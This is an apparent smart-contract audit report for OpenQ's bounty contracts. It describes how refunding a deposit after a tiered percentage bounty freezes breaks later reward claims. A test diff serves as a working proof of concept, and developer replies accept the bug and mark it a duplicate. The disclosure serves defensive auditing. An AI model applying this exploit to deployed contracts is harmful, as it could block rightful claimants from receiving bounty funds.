libratus - Refunding deposit from a tiered percentage bounty can break claiming

[github-actions]

libratus

high

Refunding deposit from a tiered percentage bounty can break claiming

Summary

Refunding deposit from a tiered percentage bounty after it was frozen will break reward claims

Vulnerability Detail

When tiered bounty is frozen, snapshot of token amounts is taken and put into fundingTotals array. However, if one of the bounty deposits is refunded, that snapshot is not updated. As a result, claim will fail as it will attempt to transfer tokens that no longer belong to the contract.

This can be exploited by an attacker by making a deposit and then refunding it as soon as the bounty is frozen. The following test case reverts because link deposit was refunded. Second claimant is unable to receive the bounty

diff --git a/test/ClaimManager.test.js b/test/ClaimManager.test.js
index 41be3ce..cbbd320 100755
--- a/test/ClaimManager.test.js
+++ b/test/ClaimManager.test.js
@@ -610,6 +610,44 @@ describe('ClaimManager.sol', () => {
                                        const isClosed = await bounty.status();
                                        await expect(isClosed).to.equal(1);
                                });
+
+                               it('should claim tier if deposit was refunded', async () => {
+                                       // ARRANGE
+                                       const volume = 1000;
+                                       await openQProxy.mintBounty(Constants.bountyId, Constants.organization, tieredPercentageBountyInitOperation_permissionless);
+                                       const bountyAddress = await openQProxy.bountyIdToAddress(Constants.bountyId);
+                                       const bounty = TieredPercentageBountyV1.attach(bountyAddress);
+
+                                       await mockLink.approve(bountyAddress, 10000000);
+                                       await mockDai.approve(bountyAddress, 10000000);
+
+                                       const depositId = generateDepositId(Constants.bountyId, 0);
+                                       await depositManager.fundBountyToken(bountyAddress, mockLink.address, volume, 1, Constants.funderUuid);
+                                       await depositManager.fundBountyToken(bountyAddress, mockDai.address, volume, 1, Constants.funderUuid);
+
+                                       // ASSUME
+                                       const bountyMockLinkTokenBalance = (await mockLink.balanceOf(bountyAddress)).toString();
+                                       const bountyDaiTokenBalance = (await mockDai.balanceOf(bountyAddress)).toString();
+                                       expect(bountyMockLinkTokenBalance).to.equal('1000');
+                                       expect(bountyDaiTokenBalance).to.equal('1000');
+
+                                       const claimantMockTokenBalance = (await mockLink.balanceOf(claimant.address)).toString();
+                                       const claimantFakeTokenBalance = (await mockDai.balanceOf(claimant.address)).toString();
+                                       expect(claimantMockTokenBalance).to.equal('0');
+                                       expect(claimantFakeTokenBalance).to.equal('0');
+
+                                       // ASSUME
+                                       const isOpen = await bounty.status();
+                                       await expect(isOpen).to.equal(0);
+
+                                       // First claim freezes the bounty
+                                       await claimManager.connect(oracle).claimBounty(bountyAddress, owner.address, abiEncodedTieredCloserDataFirstPlace);
+                                       // Refund one of the deposits
+                                       await depositManager.refundDeposit(bountyAddress, depositId);
+
+                                       // ACT
+                                       await claimManager.connect(oracle).claimBounty(bountyAddress, owner.address, abiEncodedTieredCloserDataSecondPlace);
+                               });
                        });
 
                        describe('TRANSFER', () => {

Impact

Tiered percentage bounty claim process can be broken

Code Snippet

https://github.com/sherlock-audit/2023-02-openq/blob/main/contracts/Bounty/Implementations/TieredPercentageBountyV1.sol#L115-L120

Tool used

Manual Review

Recommendation

Re-calculate fundingTotals when refund is made

Duplicate of #266

[FlacoJones]

Valid. Will fix by removing TieredPercentage bounty for now

[FlacoJones]

OpenQDev/OpenQ-Contracts#112

[IAm0x52]

Dupe of #266